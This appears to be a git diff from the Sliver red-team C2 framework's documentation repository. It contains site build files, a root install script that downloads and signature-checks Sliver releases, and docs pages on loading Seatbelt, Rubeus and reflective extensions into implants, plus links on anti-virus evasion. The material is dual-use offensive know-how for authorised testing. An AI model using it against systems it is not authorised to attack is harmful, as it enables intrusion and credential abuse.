forwardable-extended (~> 2.6)
public_suffix (4.0.7)
racc (1.6.2)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.11)
thread_safe (~> 0.1)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (1.8.0)
wdm (0.1.1)
webrick (1.8.1)
zeitwerk (2.6.7)
PLATFORMS
ruby
DEPENDENCIES
github-pages
jekyll (~> 3.9.0)
jekyll-feed (~> 0.6)
kramdown-parser-gfm
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
webrick (~> 1.8)
BUNDLED WITH
2.4.6
-51
View File
@@ -1,51 +0,0 @@
# Welcome to Jekyll!
#
# This config file is meant for settings that affect your whole blog, values
# which you are expected to set up once and rarely edit after that. If you find
# yourself editing this file very often, consider using Jekyll's data files
# feature for the data you need to update frequently.
#
# For technical reasons, this file is *NOT* reloaded automatically when you use
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
# Site settings
# These are used to personalize your new site. If you look in the HTML files,
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
# You can create any custom variable you would like, and they will be accessible
# in the templates via {{ site.myvariable }}.
title: Sliver
description: >- # this means to ignore newlines until "baseurl:"
Sliver is an open source cross-platform adversary emulation/red team framework.
baseurl: "" # the subpath of your site, e.g. /blog
url: "https://sliver.sh/"
github:
latest_url: https://github.com/BishopFox/sliver/releases/latest
repository_url: https://github.com/BishopFox/sliver
# Build settings
markdown: kramdown
theme: jekyll-theme-hacker
show_downloads: true
plugins:
- jekyll-feed
plugins:
- jekyll-notion
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
notion:
fetch_on_watch: true
databases:
- id: 4bbf1c77cabc46e09428c871283683d3
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
exclude:
- Gemfile
- Gemfile.lock
- CNAME
- .gitignore
- _site
-39
View File
@@ -1,39 +0,0 @@
<!DOCTYPE html>
<html lang="{{ site.lang | default: "en-US" }}">
<head>
<meta charset='utf-8'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
{% seo %}
</head>
<body>
<header>
<div class="container">
<a id="a-title" href="{{ '/' | relative_url }}">
<h1>{{ site.title | default: site.github.repository_name }}</h1>
</a>
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
<section id="downloads">
{% if site.show_downloads %}
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
{% endif %}
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
</section>
</div>
</header>
<div class="container">
<section id="main_content">
{{ content }}
</section>
</div>
</body>
</html>
-14
View File
@@ -1,14 +0,0 @@
---
layout: default
---
<small>{{ page.date | date: "%-d %B %Y" }}</small>
<h1>{{ page.title }}</h1>
<p class="view">by {{ page.author | default: site.author }}</p>
{{ content }}
{% if page.tags %}
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
{% endif %}
-18
View File
@@ -1,18 +0,0 @@
---
layout: default
title: About
permalink: /about/
---
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
You can find the source code for Minima at GitHub:
[jekyll][jekyll-organization] /
[minima](https://github.com/jekyll/minima)
You can find the source code for Jekyll at GitHub:
[jekyll][jekyll-organization] /
[jekyll](https://github.com/jekyll/jekyll)
[jekyll-organization]: https://github.com/jekyll
-11
View File
@@ -1,11 +0,0 @@
---
layout: default
---
<ul>
{% for post in site.posts %}
<li>
<a href="{{ post.url }}">{{ post.title }}</a>
</li>
{% endfor %}
</ul>
+65 -50
View File
@@ -1,47 +1,46 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
SLIVER_GPG_KEY_ID="4449039C"
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
if [[ "$EUID" -ne 0 ]];then
echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
INSTALLER=(pacman -S)
else
echo "Unsupported OS, exiting"
exit
fi
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
# Verify if necessary tools are installed
for cmd in curl awk gpg; do
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
fi
done
cd /root
cd /root || exit
echo "Running from $(pwd)"
echo "Importing GPG key..."
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
@@ -96,42 +95,53 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
#
echo "Fetching latest Sliver release URLs..."
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER="sliver-server_linux"
SLIVER_CLIENT="sliver-client_linux"
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
curl --silent -L "$URL" --output "$(basename "$URL")"
fi
done
# Signature verification
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
echo "Setting permissions for the Sliver server executable..."
chmod 755 /root/sliver-server
echo "Unpacking the Sliver server..."
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the Sliver client executable..."
chmod 755 "/root/$SLIVER_CLIENT"
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
chmod 755 /usr/local/bin/sliver
else
exit 3
@@ -157,7 +167,11 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
@@ -167,10 +181,11 @@ chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
+3
View File
@@ -0,0 +1,3 @@
{
"extends": "next/core-web-vitals"
}
+43
View File
@@ -0,0 +1,43 @@
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
# generated files
public/sitemap.json
public/docs.json
# code editor files
.vscode/
# dependencies
/node_modules
/.pnp
.pnp.js
.yarn/install-state.gz
# testing
/coverage
# next.js
/.next/
/out/
# production
/build
# misc
.DS_Store
*.pem
# debug
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# local env files
.env*.local
# vercel
.vercel
# typescript
*.tsbuildinfo
next-env.d.ts
+3
View File
@@ -0,0 +1,3 @@
# Sliver Docs
The source code for the Sliver documentation site.
+21
View File
@@ -0,0 +1,21 @@
declare module "asciinema-player" {
export function create(
src: string,
element: HTMLElement | null,
// START asciinemaOptions
opts: {
cols?: string,
rows?: string,
autoPlay?: boolean,
preload?: boolean,
loop?: boolean | number,
startAt?: number | string,
speed?: number,
idleTimeLimit?: number,
theme?: string,
poster?: string,
fit?: string,
fontSize?: string
}
)
}
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import "asciinema-player/dist/bundle/asciinema-player.css";
import React from "react";
type AsciinemaPlayerProps = {
src: string;
cols?: string;
rows?: string;
autoPlay?: boolean;
preload?: boolean;
loop?: boolean | number;
startAt?: number | string;
speed?: number;
idleTimeLimit?: number;
theme?: string;
poster?: string;
fit?: string;
fontSize?: string;
};
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
const ref = React.useRef<HTMLDivElement>(null);
const [player, setPlayer] =
React.useState<typeof import("asciinema-player")>();
React.useEffect(() => {
import("asciinema-player").then((p) => {
setPlayer(p);
});
}, []);
React.useEffect(() => {
const currentRef = ref.current;
const instance = player?.create(src, currentRef, asciinemaOptions);
return () => {
instance?.dispose();
};
}, [src, player, asciinemaOptions]);
return <div ref={ref} />;
}
export default AsciinemaPlayer;
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import { Themes } from "@/util/themes";
import { faLinux, faPython } from "@fortawesome/free-brands-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import Editor, { loader } from "@monaco-editor/react";
import { useTheme } from "next-themes";
import React, { useRef } from "react";
export type CodeSchema = {
name: string;
script_type: string;
source_code: string;
};
export type CodeViewerProps = {
script: CodeSchema;
fontSize?: number;
className?: string;
};
export function renderScriptTypeIcon(key: string, className?: string) {
switch (key) {
case "bash":
return (
<FontAwesomeIcon icon={faLinux} className={className || undefined} />
);
case "python":
return (
<FontAwesomeIcon icon={faPython} className={className || undefined} />
);
default:
return <></>;
}
}
const CodeViewer = (props: CodeViewerProps) => {
const { theme } = useTheme();
// Editor
loader.config({ paths: { vs: "/js/monaco" } });
const editorRef = useRef(null as any);
function handleEditorDidMount(editor: any, monaco: any) {
editorRef.current = editor;
}
const vsTheme = React.useMemo(() => {
return theme === Themes.DARK ? "vs-dark" : undefined;
}, [theme]);
const language = React.useMemo(() => {
switch (props.script?.script_type) {
case "bash":
return "shell";
default:
return props.script?.script_type || "shell";
}
}, [props]);
const [scriptSourceCode, setScriptSourceCode] = React.useState(
props.script.source_code
);
const [fontSize, setFontSize] = React.useState(props.fontSize || 14);
const editorContainerClassName = React.useMemo(() => {
return theme === Themes.DARK
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
}, [theme]);
return (
<div className={editorContainerClassName}>
<Editor
className={props.className || "min-h-[200px]"}
theme={vsTheme}
defaultLanguage={language}
defaultValue={scriptSourceCode}
onChange={(value, event) => {
setScriptSourceCode(value || "");
}}
onMount={handleEditorDidMount}
options={{
readOnly: true,
fontFamily: "Fira Code",
fontLigatures: true,
fontSize: fontSize,
}}
/>
</div>
);
};
export default CodeViewer;
@@ -0,0 +1,26 @@
export type SliversIconProps = {
className?: string;
fill?: string;
height?: number;
width?: number;
};
export const SliversIcon = (props: SliversIconProps) => {
return (
<svg
aria-hidden="true"
focusable="false"
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 912 1024"
className={props.className}
height={props.height || 24}
width={props.width}
>
<path
fill={props.fill ? props.fill : "currentColor"}
d="M3.767 709.26s-38.415-249.17 142.452-440.946C326.97 76.538 584.482 63.816 759.689 133.127c0 0-32.847 29.271-32.847 65.806 0 36.444 21.936 58.378 45.658 82.101 23.723 23.815 135.095 158.909 135.095 312.294 0 153.453-125.972 336.015-324.992 336.015-199.042 0-312.293-144.239-328.682-310.414 0 0 96.771 164.294 255.611 164.294s213.62-125.971 213.62-219.167c0-93.034-51.113-272.02-275.666-272.02-224.645 0-379.795 199.042-443.72 417.224z"
></path>
</svg>
);
};
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import { SliversIcon } from "@/components/icons/slivers";
import { Themes } from "@/util/themes";
import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
} from "@nextui-org/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
import React from "react";
export type TopNavbarProps = {};
export default function TopNavbar(props: TopNavbarProps) {
const router = useRouter();
const { theme, setTheme } = useTheme();
const lightDarkModeIcon = React.useMemo(
() => (theme === Themes.DARK ? faSun : faMoon),
[theme]
);
return (
<Navbar
isBordered
maxWidth="full"
classNames={{
item: [
"flex",
"relative",
"h-full",
"items-center",
"data-[active=true]:after:content-['']",
"data-[active=true]:after:absolute",
"data-[active=true]:after:bottom-0",
"data-[active=true]:after:left-0",
"data-[active=true]:after:right-0",
"data-[active=true]:after:h-[2px]",
"data-[active=true]:after:rounded-[2px]",
"data-[active=true]:after:bg-primary",
],
}}
>
<NavbarBrand>
<SliversIcon />
<span className="hidden sm:block font-bold text-inherit">
&nbsp; Sliver C2
</span>
</NavbarBrand>
<NavbarContent>
<NavbarItem isActive={router.pathname === "/"}>
<Button
variant="light"
color={router.pathname === "/" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/")}
>
<FontAwesomeIcon fixedWidth icon={faHome} />
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
<Button
variant="light"
color={router.pathname === "/tutorials" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/tutorials")}
>
Tutorials
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
color={router.pathname === "/docs" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/docs")}
>
Docs
</Button>
</NavbarItem>
</NavbarContent>
<NavbarContent as="div" justify="end">
<Button
variant="light"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</NavbarContent>
</Navbar>
);
}
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/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
reactStrictMode: true,
images: {
unoptimized: true,
},
webpack: (config, { isServer }) => {
if (isServer) {
require('./prebuild/generate-docs');
}
return config;
}
}
module.exports = nextConfig;
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{
"name": "sliver-docs",
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"@fontsource/fira-code": "^5.0.16",
"@fortawesome/free-brands-svg-icons": "^6.5.1",
"@fortawesome/free-solid-svg-icons": "^6.5.1",
"@fortawesome/react-fontawesome": "^0.2.0",
"@monaco-editor/react": "^4.6.0",
"@nextui-org/react": "^2.2.9",
"@tanstack/react-query": "^5.13.4",
"asciinema-player": "^3.6.3",
"framer-motion": "^10.16.16",
"lunr": "^2.3.9",
"next": "14.0.4",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
"react-markdown": "^9.0.1",
"remark-gfm": "^4.0.0"
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.10",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"autoprefixer": "^10.0.1",
"eslint": "^8",
"eslint-config-next": "14.0.4",
"postcss": "^8",
"tailwindcss": "^3.3.0",
"typescript": "^5"
}
}
+39
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import Navbar from "@/components/navbar";
import "@/styles/globals.css";
import { Themes } from "@/util/themes";
import { NextUIProvider } from "@nextui-org/react";
import {
HydrationBoundary,
QueryClient,
QueryClientProvider,
} from "@tanstack/react-query";
import { ThemeProvider as NextThemesProvider, useTheme } from "next-themes";
import type { AppProps } from "next/app";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
const { theme, setTheme } = useTheme();
function getThemeState(): Themes {
if (typeof window !== "undefined") {
const loadedTheme = localStorage.getItem("theme");
const currentTheme = loadedTheme ? (loadedTheme as Themes) : Themes.DARK;
setTheme(currentTheme);
}
return Themes.DARK;
}
const [queryClient] = React.useState(() => new QueryClient());
return (
<NextUIProvider>
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<Navbar />
<Component {...pageProps} />
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</NextUIProvider>
);
}
+31
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import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
const initialProps = await Document.getInitialProps(ctx);
return {
...initialProps,
styles: React.Children.toArray([initialProps.styles]),
};
}
render() {
return (
<Html lang="en">
<Head>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
);
}
}
export default MyDocument;
+177
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@@ -0,0 +1,177 @@
import CodeViewer, { CodeSchema } from "@/components/code";
import { frags } from "@/util/frags";
import { Themes } from "@/util/themes";
import {
Card,
CardBody,
CardHeader,
Divider,
Listbox,
ListboxItem,
} from "@nextui-org/react";
import { useQuery } from "@tanstack/react-query";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Image from "next/image";
import React from "react";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
type Doc = {
name: string;
content: string;
};
type Docs = {
docs: Doc[];
};
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const { data: docs, isLoading } = useQuery({
queryKey: ["docs"],
queryFn: async (): Promise<Docs> => {
const res = await fetch("/docs.json");
return res.json();
},
});
const [name, _setName] = React.useState(decodeURI(frags.get("name") || ""));
const setName = (name: string) => {
frags.set("name", name);
_setName(name);
};
const [markdown, setMarkdown] = React.useState(
name === ""
? docs?.docs[0].content
: docs?.docs.find((doc) => doc.name === name)?.content || ""
);
React.useEffect(() => {
if (docs && name !== "") {
setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content);
}
if (docs && name === "" && docs.docs.length > 0) {
setName(docs.docs[0].name);
setMarkdown(docs.docs[0].content);
}
}, [docs, name]);
if (isLoading || !docs) {
return <div>Loading...</div>;
}
return (
<div className="grid grid-cols-12">
<div className="col-span-3 mt-4 ml-4">
<div className="flex flex-row justify-center text-lg mb-2 gap-2">
Topics
</div>
<div className="mt-2">
<Listbox
aria-label="Toolbox Menu"
className="p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{docs.docs.map((doc) => (
<ListboxItem
key={doc.name}
value={doc.name}
onClick={() => {
setName(doc.name);
setMarkdown(doc.content);
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</div>
</div>
<div className="col-span-9">
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody
className={
theme === Themes.DARK
? "prose prose-sm dark:prose-invert"
: "prose prose-sm prose-slate"
}
>
<Markdown
remarkPlugins={[remarkGfm]}
components={{
pre(props): any {
const { children, className, node, ...rest } = props;
const childClass = (children as any)?.props?.className;
if (
childClass &&
childClass.startsWith("language-") &&
childClass !== "language-plaintext"
) {
// @ts-ignore
return <div {...rest}>{children}</div>;
}
return (
<pre {...rest} className={className}>
{children}
</pre>
);
},
img(props) {
const { src, alt, ...rest } = props;
console.log(props);
return (
// @ts-ignore
<Image
{...rest}
src={src || ""}
alt={alt || ""}
width={500}
height={500}
className="w-full rounded-medium"
/>
);
},
code(props) {
const { children, className, node, ...rest } = props;
const langTag = /language-(\w+)/.exec(className || "");
const lang = langTag ? langTag[1] : "plaintext";
if (lang === "plaintext") {
return (
<code {...rest} className={className}>
{children}
</code>
);
}
return (
<CodeViewer
className="min-h-[250px]"
key={`${Math.random()}`}
fontSize={11}
script={
{
script_type: lang,
source_code: (children as string) || "",
} as CodeSchema
}
/>
);
},
}}
>
{markdown}
</Markdown>
</CardBody>
</Card>
</div>
</div>
);
};
export default DocsIndexPage;
@@ -0,0 +1,160 @@
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
#### Aliases Command Parsing
**⚠️ IMPORTANT:** It's important to understand that all alias commands have certain Sliver shell flags (those that appear in `--help`). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed.
For example with Seatbelt, `seatbelt -group=system` will fail because the Sliver shell will attempt to interpret the `-group` flag as a named flag (i.e., arguments that appear in `--help`). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using `--`, so the correct syntax is `seatbelt -- -group=system`
```plaintext
[server] sliver (ROUND_ATELIER) > seatbelt -group=system
error: invalid flag: -group
[server] sliver (ROUND_ATELIER) > seatbelt -- -group=system
[*] seatbelt output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== AMSIProviders ======
GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE}
ProviderPath : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2111.5-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not available on Windows Servers
...
```
Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., `seatbelt '' -group=system`
**⚠️ IMPORTANT:** Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
## What's the difference between an alias and an extension?
From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in `--help` and may be required.
An alias is essentially just a thin wrapper around the existing `sideload` and `execute-assembly` commands, and aliases cannot have dependencies.
An extension is a shared library that is reflectively loaded into the Sliver implant process, and is passed several callbacks to return data to the implant. As such these extensions must implement the Sliver API. Extensions may also have dependencies, which are other extensions. For example, the COFF Loader is a DLL extension that loads and executes BOFs, in turn BOFs simply extensions that rely on the COFF Loader as a dependency. These types of extensions do not need to implement any Sliver-specific API, since the Sliver API is abstracted by their dependency.
## Aliases
A Sliver alias is nothing more than a folder with the following structure:
- an `alias.json` file
- alias binaries in one of the following formats:
- .NET assemblies
- shared libraries (`.so`, `.dll`, `.dylib`)
Here is an example for the `Rebeus` alias, reusing some of the public tools from [the GhostPack organisation](https://github.com/GhostPack):
```
$ tree GhostPack
Rubeus
├── alias.json
├── Rubeus.exe
```
The `alias.json` file has the following structure:
```json
{
"name": "Rubeus",
"version": "0.0.0",
"command_name": "rubeus",
"original_author": "@GhostPack (HarmJ0y)",
"repo_url": "https://github.com/sliverarmory/Rubeus",
"help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.",
"entrypoint": "Main",
"allow_args": true,
"default_args": "",
"is_reflective": false,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "Rubeus.exe"
},
{
"os": "windows",
"arch": "386",
"path": "Rubeus.exe"
}
]
}
```
It contains a single JSON object, which has the following fields:
### Alias Fields
| Field Name | Description |
| --------------- | ---------------------------------------------------------- |
| `name` | The stylized display name of the alias |
| `command_name` | The actual console command (primary identifier) |
| `entrypoint` | The entrypoint (only required for DLLs / Reflective DLLs) |
| `help` | A short help message for the command |
| `long_help` | A longer help message describing the command and its usage |
| `allow_args` | Specify whether the command will allow arguments or not |
| `files` | A list of of extension files |
| `is_reflective` | Indicates whether the extension is a reflective DLL or not |
| `is_assembly` | Indicates whether the extension is a .NET assembly or not |
#### Files
| Field Name | Description |
| ---------- | ----------------------------------------------------------------------------------- |
| `os` | The operating system for which the file can be used on (i.e., `GOOS` syntax) |
| `arch` | The cpu architecture (i.e., `GOARCH` syntax) |
| `path` | Relative path to the file from the `alias.json`, parent directories are not allowed |
To load an alias in Sliver, use the `alias load` command:
```
sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus
[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses.
[*] Rubeus extension has been loaded
```
The `help` command will now list the commands added by this extension:
```
sliver (CONCRETE_STEEL) > help
...
Sliver - 3rd Party extensions:
==============================
rubeus [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses.
...
```
### Writing Aliases
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
## Extensions
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
@@ -0,0 +1,6 @@
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers).
Here are some external resources for anti-virus evasion:
- https://www.veil-framework.com/framework/veil-evasion/
- https://iwantmore.pizza/posts/PEzor.html
@@ -0,0 +1,32 @@
This document describes the technical design of Sliver.
## High Level
There are four major components to the Sliver ecosystem:
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
